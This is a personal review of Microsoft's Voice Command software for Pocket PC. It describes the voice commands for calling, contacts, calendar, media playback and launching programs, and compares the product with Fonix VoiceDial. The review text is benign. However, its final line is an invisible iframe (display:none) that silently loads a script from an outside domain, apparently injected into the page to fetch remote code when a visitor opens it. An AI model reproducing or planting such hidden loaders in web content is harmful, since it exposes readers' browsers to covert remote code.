While the Pocket PC user interface is very fast and intuitive, especially in the 2003 version, I've always wanted a better way to use my PPC while driving, or just a simpler way to get to things. The first solution for this need was Fonix's VoiceDial software, which allows you to dial anyone in your address book with a natural voice command.

VoiceDial does a great job at dialing, but I wished for more features such as the ability to look up a contact without dialing, and to give other commands. Microsoft themselves has now solved that desire with Voice Command. This $40 package allows you to give your Pocket PC a variety of commands besides just dialing.

The commands are divided into five top-level sections; phone, contacts, calendar, media, and Start menu. In addition there is a "help" command which then guides you through using each of the five sections.

The phone commands allow you to call a contact, dial a spoken number, or re-dial the last number. As with VoiceDial, the language is natural. In fact, you should NOT talk like a computer, just speak normally. "Call John Doe at work" is a proper command. If you omit the location instruction and you have multiple numbers for this contact, Voice Command will name them all and ask which one to use. This is better than VoiceDial, which takes a default if you don't specify a location. VoiceDial is also limited in which phone fields it can use, while Voice Command can use any of the Outlook fields.

There are just two contacts commands. Saying "show John Doe" will display that particular contact card. Saying "show contacts" will display the contacts app. Calendar commands are more varied and complex. You can ask for your next appointment, a list of all appointments for today or tomorrow, and turn reminders off or on.

Media commands do the obvious, plus some interesting things. First off, you can do anything with voice commands that you can do with buttons, such as next track, shuffle on/off, etc. Plus you can give complex commands to play a particular artist, genre, or track. It can give you a voice list of all available artists, genres, or tracks.

The "Start menu" commands allow you to run any program you have on the PPC, including all the built-in apps of course. This is very useful, a big time saver if you have a lot of programs loaded. Saying "Start inbox" will open the inbox app instantly.

Accuracy is excellent. Surprisingly good, really. And most commands are well thought out and intuitive. There are a few places where the program falls short, however.

My first, and most major complaint, is that the sound level is far too low. Unlike VoiceDial, it doesn't let you adjust the program's sound level independently of the system. I have my system level set higher than I'd like now, and Voice Command's prompts/confirmations are still far too quiet. Another usability complaint is that it doesn't bring up the phone app when you call, just a dialing bubble. This is annoying; the bubble is useless. If I call voice mail, for example, I'll need the phone app in order to play and delete messages. The bubble is just in the way and needs to be dismissed so you can do anything else.

Overall though I'm very happy with it, and have replaced VoiceDial. If you desire just a very good, highly featured dialer app, then I would recommend VoiceDial. If you want more, as I did, then Voice Command is a great answer.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>